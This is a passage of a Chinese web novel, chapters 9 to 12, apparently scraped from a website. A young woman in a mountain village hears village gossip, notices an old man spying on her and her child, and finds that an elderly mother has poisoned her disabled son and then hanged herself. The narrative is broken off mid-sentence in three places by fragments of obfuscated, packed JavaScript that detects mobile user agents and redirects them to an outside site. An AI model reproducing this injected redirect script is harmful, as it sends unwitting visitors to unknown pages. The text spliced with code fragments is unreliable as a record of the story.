山下村每一家的情况李婶子了如指掌,“也是种地的,徐东来他们这些姓徐的,都是后来才搬来西村,祖上是邻村的,遇了灾才来到我们山下村。不过徐东来有个有出息的妻姐,以前在长安给官家小姐当奶娘,后来成了侯夫人身边的嬷嬷,年年寄回来不少银子,侄子徐行之和儿子徐众望都在县学读书,行之还是个秀才公,就是…那孩子命不好!” 9. 身世 “命不好?”徐行之这个名字,叶醒枝好像听李婶子提过一次。 李婶子边走边解释,“行之是徐东来的侄子,今年十八了,刚生下来他爹娘就没了。徐东来是他小叔,把行之抱回了家。” “当年徐东来把行之还有他儿子徐众望送到镇上一个童生老先生那里开蒙,行之聪明得很,才十岁就考上秀才了,听说整个河清县往上数一百年都找不出来比行之年纪还小的秀才,但那孩子也倒霉得很,过了两年去考举人,突然得了天花,又过三年去考试的时候,不知道咋回事伤到了腰,这一次又没去成。这不,今年都十八了,还没考上举人!” “他要是没那个才学也就算了,偏偏八年了连洛州都没去过一次,这不是命不好是什么?” 李婶子接着叹一口气,“行之十岁那年考上秀才的时候,县学的教谕和夫子都亲自来村里接他去县学读书,还不用交束脩,连带着把他堂哥徐众望也弄去了县学,听说县令还和行之见面了,大家都盼着他考上举人为我们河清县争光,可惜到现在也没考上。” 看着前方的手里拿着野花玩的陆葵葵,叶醒枝心想这个叫徐行之的确实够倒霉。 叶醒枝的父亲叶显山虽只是个六品官,但能高中进士、任太学博士,可见是有几分才华的,即便这样,叶显山二十岁时才考上秀才,叶显山的父亲也就是叶醒枝的祖父,病逝前还有秀才功名。而徐行之幼失怙恃,养他长大的徐家叔婶都是乡下人,十岁的少年秀才,别说整个河清县,就是整个大陈朝也没几个。 若是在县学勤学苦读,依照徐行之的天资,要不了八年就有很大的可能中举,即便江郎才尽,那也该去洛州参加几次秋闱好知己知彼,偏偏不是生病就是受伤,八年时光就这么浪费掉了。 十岁中秀才,如若徐行之十多岁的时候名字还能继续出现在桂榜上,少年举人的名头和光环,可是千金都换不来的,即便他以后转运了考上了举人,意义和分量也是不一样的。 “还有就是……”李婶子又叹一口气。 叶醒枝看向李婶子,“怎么了?” 李婶子压低声音,“行之他婶还是个偏心的,只疼自己亲儿子徐众望,行之小的时候过冬衣裳都是穿众望不要的,他叔和他婶还经常打骂他。所以我说行之命不好,其实村里人都这么说。” “一连几次都没能去洛州,行之那孩子应该也受打击了,现在不怎么去县学了,倒是常看见他去山上晃悠,连亲事也受了影响,村里的姑娘配不上他,可他又命不好,大户人家也不愿把闺女嫁给他。唉,他要是晚几年考上秀才就好了,好歹趁着机会找门好亲事!人长得俊又有才,真是可惜了!枝枝,别看行之是乡下人,但我敢说,就是你们长安城里的官家公子,也没几个比他长得好!” 李婶子口中的徐行之,与官宦子弟相比,方方面面有过之而无不及,偏偏又命不好,叶醒枝对徐行之有了些许好奇。 “对了,婶子,你说徐东来的妻姐在长安给官家小姐当奶娘,现在还成了侯夫人的嬷嬷,是哪位贵人府上?”方才叶醒枝就想打听,不过被徐行之的事迹吸引了注意力。 “好像是…大理寺?是有这么个官吧?”李婶子不太确定。 “有,但大理寺里头好多官员呢。”叶醒枝道。 “那我就不知道了,行之他婶子叫王霞,我也是听她说的。”李婶子道:“她可嘚瑟了,说她姐伺候的小姐是大理寺的女儿,还高嫁给了一位侯爷。她看不上我们这些村里人,枝枝,你要是碰到她可别说这些。” 叶醒枝:“我知道了,婶子。” 生父在大理寺任职,高嫁侯爷,据叶醒枝所知,满足条件的有两个,一个是大理少卿的一位庶女嫁到了侯爷府上,还有一个是大理正的嫡女如今的侯夫人宋月,二十年前宋月的父亲还不是大理正,只是一个从六品的司直,将嫡女宋月嫁给了军侯陆达开。 满足条件的是哪一个呢? 不管是哪一个,叶醒枝都和这些侯夫人没什么交集,叶醒枝的父亲只是个六品官,去年及笄后她才开始参加赏花宴,可不够格去这些侯夫人面前露面。 再多的叶醒枝就不知道了,不过,这些事情也和叶醒枝无关。 等等,叶醒枝突然又想起来,是了,陆侯爷陆达开也是个将军呢,二十年前靠军功从将军之身得了侯爷爵位,从此旁人都尊称他为“陆侯爷”,无人再唤他将军。 陆侯爷常年在外驻守,甚少回长安,只有一子,但其子的名字叶醒枝并不知晓。 即便不知晓陆侯爷儿子的名字,叶醒枝也觉得葵葵她外祖父不可能是陆侯爷。 陆侯爷军功赫赫,是大陈朝两位帝王的心腹,前任女帝和当今圣人都允其掌军权,叶醒枝一个六品小官的女儿若是能嫁给陆侯爷的儿子,那可是高嫁中的高嫁! 明显不可能! 而且也没有陆侯父子反目成仇、陆侯爷腿脚不便走路不稳的消息传出,和陆葵葵的祖父并不相符。 * 担心累着陆葵葵,快到西村时,叶醒枝和李婶子停了下来。 其实叶醒枝今天不想带着陆葵葵来西村,李婆婆的叮嘱她记在心里,然而村里没有陆葵葵的玩伴,在李家老宅里待了好几天的陆葵葵快成一朵蔫蔫儿的小葵花了。 陆葵葵缠着要来,要去找会用狗尾巴草编小兔子的李婆婆一起玩。 这条土路地势很高,叶醒枝环视一周,把东西两个村子尽收眼底。 山下村如其名,除了坐落在老李山下,整个村子的地势也是像大树上杂乱的树枝一样高低不平,被一分为二。村民们分成了两部分,大部队在村东边居住,还有三十来户人家在村西边,中间是一条长长的、一人宽的土路连接,土路一侧是两层楼高的丘陵,一侧是陷下去的小山坡,坡底零星有几户人家。 西村的地势比东村还要高,那些茅草房、土房子和砖瓦房依山而建, 李婆婆家和徐家就在西村,从李家老宅走到西村得一刻钟时间。 西村的三十来户人家一大半姓徐,剩下十来户姓李,李婆婆是其中一户。到了徐家,沿着徐家西边的土路再往上走,土路尽头的三间土房子,是李婆婆家。 望着这几间土坯草屋,叶醒枝一愣,李婆婆家十分贫寒,虽然都是乡下人,但整个山下村像李婆婆家这样的土房子也找不出来几间,和下面的徐家一比,对比更鲜明。 徐家院子开阔,红墙气派,李婆婆家的三间土房矮小,屋顶的茅草上还长了几丛野草。 进去李婆婆家前,李婶子拉着叶醒枝的胳膊停下来,悄声道:“李婆婆她老伴前两年没了,她那个儿子脑子也不好,从小就不会吃饭穿衣裳,李婆婆伺候他几十年了,你进去看到了别害怕。” 李婶子对叶醒枝提过李婆婆家的情况,叶醒枝已有心理准备。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15458001|169604||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 虽是土房子,但李婆婆把家里收拾很干净,特意把板凳擦了擦再招呼叶醒枝和陆葵葵坐下,也不忘给拿抹布给李婶子擦了板凳,还从竹篮里给陆葵葵拿了个草蚂蚱玩,“这是才编的的,别嫌弃。” “怎么会,您编得很好,我还以为这是真的蚂蚱!” 叶醒枝真心实意地道。 这个竹蚂蚱通体翠绿,离这么近叶醒枝第一眼并没有分辨出来,别说陆葵葵很喜欢,她都想要玩一会儿。 李婆婆慢慢坐下来,然后道:“这是用草编的。” 原来如此,她还以为是竹编的,叶醒枝再一次夸赞:“婆婆,您手艺太好了。” 竹篮里得有一二十只草蚂蚱,应当是李婆婆编好拿去卖的,叶醒枝想不能白要李婆婆的东西。 “你李婆婆编的这些东西我也稀罕,隔几天就拿去镇上卖,不然我也不会带你过来。”李婶子又对李婆婆道:“葵葵这孩子想要个小竹篮,枝枝让我带她过来找你。” 李婆婆道:“小竹篮好编,等我明天从镇上回来就开始,再弄个小竹筐、铲子,弄几个竹盘,小孩儿们喜欢玩。” 李婆婆的提议是叶醒枝没想到的,确实如此,配成一整套陆葵葵应该会很喜欢。 她也好想要! 说话间,土房西屋里出来一个鬓发斑白的老人,看起来得有六十来岁,然而他双眼呆愣,第一眼给人的感觉不是花甲老人,而是像个还没开窍的稚童。 “回屋里去。”许是担心吓着叶醒枝和陆葵葵,李婆婆呵斥一声,转头对叶醒枝解释道:“这是我那老儿子李平安,是个傻子,叶小姐你别害怕。” 叶醒枝微微一笑,“我不害怕的。” 原来李平安这么大年纪了,要照顾一个傻儿子,难怪李婆婆八十岁多了还得编东西拿去镇上卖! 看到陆葵葵手里的草蚂蚱,原本一句话都没说的李平安突然嚷嚷起来,“我的蚂蚱!” “这不是你的,你的你给扔了!”李婆婆道。 李平安没有被安抚,指着装草蚂蚱的竹篮,“就是我的,少了一个!” 叶醒枝下意识看过去,很是吃惊,竹篮里那么多草蚂蚱,得有一二十个,她一个读过书的正常人尚不能张口就说出数量,李平安是怎么一下子就发现少了一个的? 李平安闹腾起来,在李婆婆和李婶子的示意下,叶醒枝带着陆葵葵去到了院子里。 陆葵葵吓了一跳,小声道:“娘亲,这是爷爷的蚂蚱吗?” “这是李婆婆给你的,你玩吧。”叶醒枝温声道。 李平安和叶醒枝印象中的傻子不一样,不是一味的“傻”,而是会像稚童一样固执地闹起来,又能在数量极多的草蚂蚱里一下子发现少了一个,叶醒枝也说不上来这是什么病。 就拿刚刚那件事来说,李平安这个傻子可比她这样的正常人聪明多了! 陆葵葵拿着草蚂蚱跑到了土路旁的草堆里玩,叶醒枝跟着过去,李婆婆家在最高处,站在院子里可以看到西村的好几户人家,各家房子从低到高分散开来,但并不显杂乱,有些人家篱笆门关着,有些门梁上还插着长长的艾草…… 正要收回目光,下方的徐家院中出现一道身影,映入叶醒枝眼帘。 那道青色身影颀长,处在春光中,行走间似漾漾微波。 看背影像是个年轻男子,这人是徐众望,还是那个命不好的徐行之? 10. 遇白日鬼偷窥 在李婆婆家没有待太久,李婶子准备再去摘些槐花煎饼吃,李婆婆也没留她们,递给李婶子一个竹篮,“用篮子装方便。” 李婆婆家最不缺的就是竹篮竹筐,李婶子也没拒绝,“等我明个给你送过来。” 李婆婆又看向叶醒枝,“叶小姐,你也带着葵葵过去吗?” “对。”叶醒枝道。 李婶子告诉她,多带着陆葵葵一起摘槐花、在村子里散步,陆葵葵夜里才不会缠着她不睡觉。 又是那句叮嘱,李婆婆道:“叶小姐,里头人少,你看好葵葵。” 叶醒枝应好。 槐花可是个好东西,李婆婆年轻的时候也爱摘来吃,可惜现在连槐树枝都够不到了,也不能让她那老儿子李平安再吃一次槐花煎饼,目送叶醒枝、陆葵葵和李婶子离开,等她们快要出院子的时候,李婆婆突然高声道:“叶小姐,你一定要看好葵葵,别让她去…有些人家里。” 叶醒枝眉头微蹙,李婆婆这句话很奇怪,仿佛山下村有坏人会害了陆葵葵,“李婆婆,怎么了?” “没什么,你看好葵葵和你自己就行,别和你婶子分开!”扶着土墙,跨过木头做的门槛,李婆婆回去土房子里。 “李婆婆是个好人,估计是怕葵葵乱跑,像二丫一样走丢了。”李婶子挎着竹篮开玩笑着道:“怕有人偷葵葵。” 提到二丫,一抹怀疑从叶醒枝心头生出,二丫不是从老李山山上摔下来离世的吗?可李婆婆的最后一句话却是让她看好自己和陆葵葵,不让陆葵葵去村中某些人的家里。 这是第二次了,显然这些叮嘱不是随便吐出口的,但也显然李婆婆不愿意再多说。 “婶子,待会儿要是摘的槐花多,给李婆婆一些吧。”叶醒枝柔声道。 叶醒枝是李婶子的主雇,李婶子当然应好,见陆葵葵走太慢弯腰把她抱了起来,嘴上道:“李婆婆也好这一口,前几年能走动的时候,我见她和平安出来摘过槐花和野葛花。” 说到李平安,李婶子顺便提了一嘴,“平安他就是这么怪,是个傻子,经常闹起来,只有李婆婆能管住他,但他也不是坏人,生来就这样也没办法。” 叶醒枝可以理解,“他们家还有别的人吗?” 没来李婆婆家前,叶醒枝以为李平安是个年轻人,没想到已经五六十岁了,还像小孩一样得由李婆婆哄着。等过几年李婆婆没了,李平安该怎么办? 李婶子和叶醒枝想到一块去了,“没人了,平安他爹前几年没了,李婆婆还生了一个女儿,比平安小了两岁,嫁到邻村生了三个孩子,去年也走了。好在李婆婆身子骨好,不过她这几年也走不动了,万一哪天没了,平安可咋办啊?” 叶醒枝和李婆婆只有两面之缘,但李婶子能看出来今年开春后李婆婆老了不少,去镇上卖竹篮竹筐的次数也少了不少,怕是再过一段时间李婆婆连竹篮都编不了了。 “李婆婆也是个苦命人,要是我也不知道能不能熬下来?”李婶子感叹道:“有些傻子傻归傻,但知道自己找吃的,你平安叔八九岁了还不会自己吃饭。不过,他倒是挺会算账。” “前几年行之那孩子闲着没事的时候教他打算盘,说要是学会了给你平安叔找个活计,没几天你平安叔把算盘打得比徐众望都好。村里有人不信,我也跟着来看热闹了,还真是这样。可惜他性子不好,闹起来只有你李婆婆能哄好他,谁也说不准他啥时候发脾气,就没去成。” 原来不是错觉,叶醒枝心想,难怪李平安刚才能一下子发现少了一只草蚂蚱,他确实和其他傻子不太一样,许是李平安于数算上有些天赋。 只是,李平安在土房子里长大,住的不是青砖黛瓦,更不是雕梁画栋的宅子,即便他有天赋,用黄土垒成的那三间土房子也只会把他的天赋掩盖,无人知晓。 两人说着话,经过一个拐弯,往前又是一条一人宽的土路,走上一盏茶时间,土路两旁的杨树林中出现一座砖瓦小院。 小院不大,但样式和徐行之家的房子差不多,院墙也是用青砖垒的,显然这一户人家比较富裕。 “这是谁家?”叶醒枝好奇问道。 李婶子道:“徐老七住这里。” “也是山下村的?”叶醒枝有些惊讶,经过方才的拐弯又走了这么久,只见到这一户人家,叶醒枝还以为已经出了村子了。 “徐老七搬到西村后,手里没钱又长得不好看,没娶上媳妇儿,但他那几个侄子侄女还挺孝顺,前些年凑银子把他那土房子推了,给他重新盖了一间房子。”李婶子手指头往后面指了指,“他那几个侄子侄女在前头住,刚才拐弯处那几间房子就是他侄子侄女的,徐老七一个人,五六十岁了,和村里其他人也不熟,就把房子盖这里了。” 徐老七住在村尾,和西村其他人家有很长一段距离,过了那座砖瓦小院,就出山下村了。 平日来这边的人不多,倒是让李婶子找到了一棵还有槐花的刺槐树。 和野葛花一样,黄白的槐花也很是惹人喜爱。陆葵葵伸出长着福窝窝的小手也要摘槐花,用手压低一枝,叶醒枝把她抱了起来。 “葵葵摘花儿,给姐姐吃,给阿杏姐姐和阿竹哥哥吃,给李婶婶吃。”“小葵花”利索地摘下三四个花瓣,奶声奶气地道。 眸子弯起来,叶醒枝笑了起来,“谢谢葵葵,别扎到手哦!” 山上的小葵花,只有轻轻的一根杆茎和葵花叶子,叶醒枝怀里的这个“小葵花”,抱着可是够累人的,但听了陆葵葵这番话,叶醒枝觉得她还能再抱陆葵葵两刻钟! “我上去瞅瞅,你和葵葵在这儿等我。”槐花摘了半篮子,李婶子嫌不够多,土路一侧又是一座小山坡,上头长了不少杂草和树木,李婶子沿着踩出来的小道上去。 把陆葵葵放下来,叶醒枝揪了两根狗尾巴草,让陆葵葵拿着玩。 许是人如其名,陆葵葵很喜欢去野草野花丛里玩儿,看了一下没有蚊虫,叶醒枝由着她去。 刺槐树下很安静,淡淡的清香氤氲,叶醒枝打量着四周,虽偏远但山下村草木葱翠,在村里的日子还是很舒适的。 视线掠过左手边的几棵杨树,叶醒枝目光微顿。 其中一棵杨树下有道矮小佝偻的身影,正往她和陆葵葵的方向看。 对上叶醒枝的目光,这个矮个老年男人像个白日鬼一样立马跑走,进去了旁边的青砖小院。 盯了一会儿,叶醒枝才收回目光,此人应该是徐老七,他盯着她和陆葵葵做什么? 脑中浮现出李婆婆的叮嘱,走到陆葵葵身边,握着陆葵葵的小手, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“徐众望和他爹娘一样,嫌贫爱富,我们村在山里头出去不方便,外头有个叫高家庄的,高家庄的高地主可有钱了,二百多亩地,想把自己闺女嫁给徐众望,请了媒婆去徐家,说愿意陪嫁五十亩地。但徐众望嫌人家太胖了,没给高地主和他闺女一点面子,徐东来和王霞也看不上高地主。”说到这儿,李婶子“呸”了一声,“胖怎么了?高地主他闺女可能干了,有什么不好?老娘我巴不得能顿顿吃肉一身肥膘!他又不是像行之那样长得俊又有功名,哪来的脸看不上高地主的闺女!” “行之是秀才,平常见了我都喊一声婶子呢,真是不像他们徐家人!” 叶醒枝忍不住笑出声,对徐家人的印象跌到了谷底。 “也是奇了怪了,徐东来、王霞还有徐众望,可不如我们山下村其他人那样老实,偏偏人家有个有出息的妻姐,又有个行之那样的好侄子,这都是命啊!”李婶子拉长调子。 末了李婶子又感慨一句,“歹竹出了个好笋啊!” 本来经过李婶子的一番讲述,叶醒枝对命不好的徐行之有几分好奇,但此时听了这几番话,她对“歹竹出好笋”的徐行之也没了兴趣。 既然徐家是歹竹,那出来的好笋又能有多好? “笋?爹爹爱吃笋!”走几步就跑土路边揪野花、捉蝴蝶的陆葵葵突然扬起小脑袋瓜,脆生生地道。 “原来你听着我们说话呢!”叶醒枝好笑地道。 “你爹爱吃笋?”李婶子问道:“葵葵是不是想你爹爹了?” 陆葵葵想爹爹了也没有用,和徐行之一样,谁知道这位爱吃笋的陆时安是不是个好笋? 若不是,叶醒枝可不要! 11. 老母杀儿;初见 瓣瓣雪般的刺槐花躺在地上的竹篮里,李婆婆打算晚上做一盘槐花鸡子煎饼吃。方才李婶子说是叶醒枝念着她,让把摘下来的槐花送一半过来。 这位叶小姐是个心善的人,李婆婆心想,她和傻儿子李平安可以吃上最后一顿槐花鸡子煎饼了。 清新的槐花香飘到李婆婆的身边,她额头上的那几道皱纹有了几日以来的第一次舒展,那个老不死的就住在那里,刚才她不放心叶醒枝带着陆葵葵与李婶子一道过去摘槐花,可家里有个李平安这个傻儿子,把叶醒枝和陆葵葵留下来也只会吓着她们。 好在叶醒枝是官家小姐,那个老不死的应该不敢对她和陆葵葵下手。 这般想着,李婆婆又编好一只草蚂蚱,她要再多编一些,放进二丫的棺材里,二丫小的时候也喜欢她编的草蚂蚱和草蝴蝶。 李家老宅的晚膳也是槐花鸡子饼,还有一锅小米粥。摘了刺槐花的陆葵葵大口大口吃了一整张槐花饼,伴随着清甜的香气,迎来了第二天的清晨。 今天是李村长选定的吉日,一行人去到山神庙,李村长让叶醒枝跪在蒲团上,掷出一枚铜钱。 “山神同意了,可以修庙了!”铜钱落地,李村长高兴地道。 山神庙里的其他村民也很高兴,“山神啊,叶小姐给您修庙了,我一个庄稼汉也要给您上香磕头,您显显灵,可别让我们村里再有人犯外重丧没了命!二丫走的可怜,求山神保佑我儿子女儿平安长命!” 不过几息功夫,叶醒枝就又从蒲团上起来了。 刚上山就要下山了,仪式结束从山神庙出来,叶醒枝委婉向李婶子表达了怀疑,用铜钱来向山神请示,还只掷一次,这不纯属巧合吗? 走在他后面的李村长听到这话,朗声笑起来,“叶小姐,这可不是普通的铜钱。” 再次从李村长手里接过那枚铜钱,叶醒枝仔细看了正反,意外和吃惊取代了眸中的质疑。 如李村长所说,这枚铜钱确实不普通,应该这么说,这并不是一枚铜钱,而是一个和铜钱样式一样的铜环,上面刻着特殊的图案。 李春来压低声音,“和那份契约一样,这枚铜环也是当年山神留下来的,有事请示的话,抛出正面便代表山神同意了。” “倒也不是每次都能抛出正面,二十年前,那二十来户徐家人要搬到山下村,便请示过山神,抛了几十次都是反面,当时我爹还是村长,他不信邪又找了十来个人,还是一次正面都没掷出来。不过最后我爹还是让他们徐家人落户了,他们老家走蛟,山都塌了,行之他爹娘就是这么走的。” 原来是这样,叶醒枝受教了。 来山下村的这段时间,她听说的奇闻异事比过去十六年加起来都多,叶醒枝本就在琢磨赚钱养“小葵花”大业,突然觉得她可以当一个写志怪话本子的女先生。 下山前,等其他人离开,叶醒枝顺便带着陆葵葵去看了那一株高大的向日葵。 陆葵葵哒哒跑过去,高兴坏了,“娘亲,是小葵!” “葵葵那天在山上先看到了小葵,然后找到了娘亲!” 陆葵葵抱着的“小葵”,比一棵大树都高,而陆葵葵还没向日葵的三分之一高。 三岁半的陆葵葵才是名副其实的“小葵”。 叶醒枝“嗯”了一声,“小花园里的那株向日葵也这么高吗?你看它认不认识你?” 陆葵葵摇摇头,“小花园里的小葵和葵葵一样矮,小葵现在长高啦!小葵她肯定记得葵葵哒!” “为什么?”叶醒枝不明白。 摸着一片大大的葵花叶子,陆葵葵张着小嘴巴,“小葵是葵葵的好朋友,小葵不会忘记葵葵的,就像娘亲你一样。娘亲,我们可以把小葵种到家里吗?” 这是一株爱看热闹的灵葵,叶醒枝笑了笑,“她应该不太乐意。” “好叭!”陆葵葵鼓了鼓嘴巴,“那葵葵上山来和小葵玩,小葵爱吃透花糍、绿豆糕,葵葵要给她带绿豆糕吃,娘亲,葵葵也想吃啦!” 老李山上这株高大的向日葵当然不会像梦里面那样会说话,除了高大如树、翠绿如玉,没有任何异常,但陆葵葵坚持认为这就是她的小伙伴“小葵”,叶醒枝没说什么,赶在用午膳前带着陆葵葵下了山。 今天中午食案桌上多了一个人,去河清县打理酒楼的张管家回来了。 叶醒枝舅舅留下的遗产有一个大酒楼还有两个铺子、一个庄子,酒楼如今记在叶醒枝名下。 依照叶醒枝和母亲李庭芳的意思,把酒楼留下由张管家派人打理,每年的账本送到汴州交给李庭芳,隔三年或寻着商队去长安的机会,再把银钱送到叶醒枝手里,剩下的铺子庄子连带着二十来亩田地则换成现银,张管家这几日在河清县就是忙这些事。 酒楼是舅舅的心血自然不能出手卖掉,但叶醒枝不会在山下村久留,每年的账本银钱从河清县送到长安都是一大笔银子,只得交由母亲李庭芳和张管家代为打理。 吃着昨日剩的槐花鸡子煎饼,张管家把大致情况向叶醒枝讲了一遍,然后拿出从汴州寄来的信。 信是李庭芳写给叶醒枝的,叶醒枝喜不自胜,“母亲说母子平安,给我生了一个七斤重的弟弟,取名为赵言善。” 听到赵言善三个字,陆葵葵拿着小木勺抬起脑袋瓜,“二舅舅!” “这是……”看向陆葵葵,张管家道。 叶醒枝把对李村长和李婶子的说辞又拿了出来,望着陆葵葵那张粉雕玉琢的小脸儿,张管家说不出拒绝的话。 理智上张管家觉得从村里李家人中过继一个嗣子更为合适,但陆葵葵大大眼睛、圆圆脸蛋,咧着小嘴巴笑起来的时候像一朵灿烂的小葵花,再没有比陆葵葵更讨喜的女童了! 更重要的是陆葵葵和叶醒枝长得像不说,和夫人李庭芳也有几分相像,等夫人见到了陆葵葵,也肯定会答应的。 张管家应好,不过他不能继续待在山下村了,夫人给赵家生了个小少爷,月子要做两个月,张管家得赶回汴州帮忙打理赵府。 把庄子、铺子换成的现银留给叶醒枝,又去找李村长帮忙照顾叶醒枝和陆葵葵,第二天一大早张管家离开了山下村。 停灵七日,叶醒枝今天去送了二丫最后一程。 李婆婆拎着一篮子的草蚂蚱和草蝴蝶,放进了二丫的棺材里。 草编的蚂蚱和蝴蝶生机勃勃,围在闭着眼睛的二丫身边。 二丫娘亲感激涕零,“二丫她小的时候就喜欢玩您编的这些东西。” 李婆婆却是抬不起头,她有愧啊! 外重丧的愁云还笼罩在山下村上空,山下村□□成的村民都觉得二丫从山上摔死是没避开重丧煞,这可不是在说胡话,二丫爹娘和去世的李大牛他老头子以及李婆子,有六亲内的亲缘,于是纷纷看管自家孩子不能上山下河。 叶醒枝也不再带着陆葵葵去老李山上或是去摘槐花,平日就待在李家老宅,或是带着陆葵葵在村子里逛一圈。 糟心的是,明明没有往西村去,有一天叶醒枝却在李家老宅不远处看到了徐老七。 还是像个白日鬼一样,徐老七似是在偷窥她和陆葵葵。 叶醒枝立即牵着陆葵葵回去了老宅,并吩咐阿竹看好宅子四周,无事不要让李婶子外的其他人进来老宅。 徐老七有古怪,叶醒枝委婉向李村长表达了对此事的担忧与恐惧,但李村长对于一个五六十岁的老人也没法子,总不能不让徐老七在村里闲逛吧? 去到李婆婆家后的第四天,李婶子把李婆婆编好的小竹篮、小竹筐等物送了过来,“从菜地回来我遇到了李婆婆,就把这些东西拿回来了。” 李婶子手中还有一吊钱,这是叶醒枝付给李婆婆的费用,“我说什么她都不要,李婆婆说吃的那半篮子槐花就当是掏钱了,撕扯了好一会她又给扔地上了,我惦记着家里的孙子,就没再和她撕扯。” 叶醒枝只好道:“下午我送过去吧。” 李婆婆送来的还有竹筷、竹瓢、竹盆等物,这是一整套竹编的“过家家”小玩意儿,可见其上心。别说到八十岁,就是现在叶醒枝年纪轻轻也编不出来这些东西,这一吊钱必须要给李婆婆送去! 不巧的是李婶子的小孙子受凉起了热,午后不能再陪叶醒枝去西村,这一次,带上阿杏和阿竹,叶醒枝领着陆葵葵来到了李婆婆家。 刚到院子里,矮小的土房子里传来几声沧桑悲痛的哭声。 是李婆婆发出的。 三步并两步,叶醒枝慌忙推开土房子的木门,去到西屋,等看清西屋的景象,仿佛全身浸在幽深寒泉中,叶醒枝愣在门口。 已经发旧的木床上躺着李平安,床头一滩滩血渍和呕吐物中,暗红与鲜红相交。 李平安没了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“他生下来,我一口一口给他喂奶吃,他三岁的时候,我一口一口给他喂米汤,这几十年来,也是我一口一口喂他饭吃,教他学会吃饭,到了最后,还是我一口一口…把这碗老鼠药喂给了他。”像是落到地上腐烂成泥的枯叶,李婆婆没有了丝毫生机。 叶醒枝身体在发抖,“可是那一勺勺老鼠药喂到平安叔口中,又何尝不是喂进了您的嘴里!李婆婆,您没有亏欠平安叔!” 打算去买老鼠药的那一刻,李婆婆已经成了走肉行尸! 她一个老母亲杀了自己的老儿子,李婆婆没想到还会和叶醒枝再见面,“叶小姐,您是来给我这个老婆子送钱的吧?不用了。我给平安喂老鼠药的事,您别说出去,三间土房子也没什么好东西,桌子上的那包银子,麻烦您给平安办后事用,棺材我让人打好了,把堂屋地上竹篮里那二十二个草蚂蚱放到平安棺材里吧,平安的生辰是三月二十二,他喜欢玩草蚂蚱。” “屋里还剩几个竹篮竹筐,谁想要就让他拿走吧。行之让我给他编笔筒和书架,老婆子我是编不了了,还剩一个竹筒没卖出去在堂屋放着,劳烦您帮我给他送去。” “行之说平安他不是傻子,会算账会数算,有天赋,自打他说了这话,其实老婆子我这几年都很开心,我的儿他不是傻子啊!” 泪水打湿叶醒枝的齐胸襦裙,她脸上的泪珠越来越多。 “还有,叶小姐,二丫不见了的那天下午,我在院子里看到她往里头去了,不知道是不是去了徐老七家?那天下午我一直坐在院子里编竹篮,到天黑了,我也没看二丫回来。”人之将死,李婆婆终于把这个秘密吐露出来,“二丫她爹娘问的时候我不敢说,李春来问的时候我也不敢说,徐老七那么多侄儿都在西村,我一个老婆子加上平安一个傻儿子,我怕徐老七把平安也给杀了。” 用披帛擦泪的手停在空中,叶醒枝瞪大眼眸,她还没反应过来,这时,李婆婆突然从地上爬起来,回光返照般,用尽全身力气把叶醒枝从西屋推到门口的石阶上,关门上好门闩。 一下子被推出来,叶醒枝差点被木头做的门槛绊倒,李婆婆耄耋之年但干了几十年地里活,又编了几十年的竹筐竹篮,此时此刻回光返照,惊吓之余,叶醒枝竟抵抗不了其力气。 李婆婆已生死志,若是打不开这木门,很快西屋会有第二具尸体。 “李婆婆,李婆婆……”拍着厚重的木门,叶醒枝焦急不已,阿竹怎么还没把李村长找来? 西屋中又传出重物落地的一声,叶醒枝身子一僵,无力地趴在门板上。 她擦擦泪转过身,正要出声喊人,一个穿着长袍的少年沿着土道而来,出现在叶醒枝眼前。 是徐家的徐行之吗? 不断涌出来的水汽让叶醒枝的眸子越发朦胧,她看不太清少年的长相,快步走了过去,“李婆婆不想活了要自尽,你能把门打开吗?” 想来这位就是村里人口中的叶小姐,看了她一眼,徐行之转而看向西屋,淡声道:“再等等。” 12. 怒火 “为什么?”叶醒枝难以置信,再等下去,李婆婆的身体怕是都要凉了! “你若不怕身负嫌疑,那可以翻窗进去。” 徐行之神色淡淡。 李婆婆家是土房子,东西屋的前墙上各有一木窗,窗棂不大但足够叶醒枝翻进去。 叶醒枝心头的急躁散了些,在徐行之来之前,李婆婆家里只有她一个人,若是此刻进去西屋,即便是李婆婆杀了李平安后又自尽,但她和徐行之仍有嫌疑,加之山下村这段时间死了那么多人,到时候定会有流言传出。 所幸这时李村长急匆匆赶来了,听到叶醒枝说李婆婆把门闩穿上了,李村长心急如焚,“这可怎么办?” 一旁的徐行之道:“翻窗,或是把这两扇门卸下来。” “对对对。”李村长太过慌乱,才一时没了主意。 有两个老头子和几个村中孩童也跟着李村长跑来了西村,李村长打算找个手脚麻利的男童从木窗里翻进去,这时,徐行之出了声,“还是我来吧。” 叶醒枝的视线移到少年身上,只见徐行之一手撑着窗台,身上长袍扬起的那一瞬,越过木窗,很快,两扇被锁上的木门从里面打开。 李村长慌慌张张跑进西屋,掀开帘子的那一刻头皮发麻,他活了四十多年,还是第一次一下子见到两具尸体。 李婆婆上吊自缢,躺在木床上的李平安身体冰凉。 木梁上挂着一根绳子,李婆婆的身体在摇晃。 叶醒枝愣在门口,腮边又有一道泪痕,她来迟了! 去铺子买老鼠药的那一刻,把老鼠药喂给李平安的那一刻,李婆婆就已经想好了自己的死法。 见李村长没什么反应,徐行之来到被踢倒的木凳边,把李婆婆的尸体放到木床上,和李平安并肩躺着。 饶是他有心理准备,刚刚翻墙进来也吃了一惊,要是让外头的那些孩童翻窗,估计要吓掉三魂,不过,这位叶小姐倒是胆大。 被引来的村民越来越多,双脚像是坠了块石头,但叶醒枝强迫自己镇定下来,“李村长,李婆婆临终前不希望这件事声张出去。” “对,是该这样。”李村长回过神,老母杀傻儿,这件事万万不能传出去,李婆婆会被骂不得好死,连带着他们山下村也要受影响。 李春来去到门口,喊了几个名字,示意这几人把剩余的村民打发走。 